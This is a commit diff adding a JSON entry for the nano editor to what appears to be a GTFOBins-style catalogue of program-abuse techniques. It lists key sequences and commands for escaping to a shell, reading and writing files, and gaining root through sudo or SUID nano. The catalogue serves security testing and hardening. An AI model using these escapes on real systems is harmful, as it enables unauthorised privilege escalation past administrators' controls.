add data for nano
parent
84670ac2ce
commit
7e1bb89426
@ -0,0 +1,34 @@
|
||||
{
|
||||
"functions": {
|
||||
"shell": [
|
||||
{
|
||||
"code": "nano\n^R^X\nreset; sh 1>&0 2>&0\n"
|
||||
},
|
||||
{
|
||||
"description": "The 'SPELL' environment variable can be used in place of the '-s' option if the command line cannot be changed.",
|
||||
"code": "nano -s /bin/sh\n/bin/sh\n^T\n"
|
||||
}
|
||||
],
|
||||
"file-write": [
|
||||
{
|
||||
"code": "nano [file]\nDATA\n^O\n"
|
||||
}
|
||||
],
|
||||
"file-read": [
|
||||
{
|
||||
"code": "nano [file]"
|
||||
}
|
||||
],
|
||||
"suid": [
|
||||
{
|
||||
"description": "The 'SPELL' environment variable can be used in place of the '-s' option if the command line cannot be changed.",
|
||||
"code": "./nano\n^R^X\nreset; sh 1>&0 2>&0\n"
|
||||
}
|
||||
],
|
||||
"sudo": [
|
||||
{
|
||||
"code": "sudo nano\n^R^X\nreset; sh 1>&0 2>&0\n"
|
||||
}
|
||||
]
|
||||
}
|
||||
}
|
Loading…
Reference in New Issue